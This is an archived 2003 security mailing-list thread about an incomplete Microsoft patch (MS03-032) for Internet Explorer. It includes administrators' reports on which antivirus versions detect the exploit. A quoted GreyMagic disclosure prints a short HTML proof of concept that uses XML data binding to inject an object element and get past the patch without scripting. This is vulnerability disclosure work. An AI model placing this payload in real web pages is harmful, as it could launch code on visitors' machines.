[VulnDiscuss] RE: [Full-Disclosure] RE: BAD NEWS: Microsoft Security Bulletin M S03-032

In our testing we found that Virusscan 7 caught this, however Virusscan 4.5x with the latest DAT did not.  


Regards,
---------------------
Jared Bergeron
Systems Analyst / XOG E-Security



-----Original Message-----
From: [email protected] [mailto:[email protected]] 
Sent: Monday, September 08, 2003 12:17 PM
To: GreyMagic Software
Cc: Bugtraq; [email protected]; [email protected]; NTBugtraq; Microsoft Security Response Center; [email protected]
Subject: [Full-Disclosure] RE: BAD NEWS: Microsoft Security Bulletin MS03-032






Updated antivirus software should catch this exploit and prevent any application from being launched.
We have McAfee VirusScan 7 Ent. which caught both exploit examples at http://greymagic.com/adv/gm001-ie/

Andrew Becker
C.H. Mortgage, D.R. Horton
Phoenix IT/MIS Department
Phone: (866) 639-7305
Fax: (480) 607-5383


                                                                                                                                       
                      "GreyMagic                                                                                                       
                      Software"                To:       "NTBugtraq" <[email protected]>, "Bugtraq"                     
                      <security@greymag         <[email protected]>, <[email protected]>,                       
                      ic.com>                   <[email protected]>                                                              
                                               cc:       <[email protected]>, "Microsoft Security Response Center"                 
                      09/08/03 07:52 AM         <[email protected]>, (bcc: Andrew D Becker/Continental Homes)                       
                                               Subject:  RE: BAD NEWS: Microsoft Security Bulletin MS03-032                            
                                                                                                                                       




>The patch for Drew's object data=funky.hta doesn't work:

This is the exact same issue as http://greymagic.com/adv/gm001-ie/, which explains the problem in detail. Microsoft again patches the object element in HTML, but it doesn't patch the dynamic version of that same element.

>1. Disable Active Scripting

This actually means that no scripting is needed at all in order to exploit this amazingly critical vulnerability:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span> <xml id="oExec">
    <security>
        <exploit>
            <![CDATA[
            <object data=x.asp></object>
            ]]>
        </exploit>
    </security>
</xml>

Ouch.








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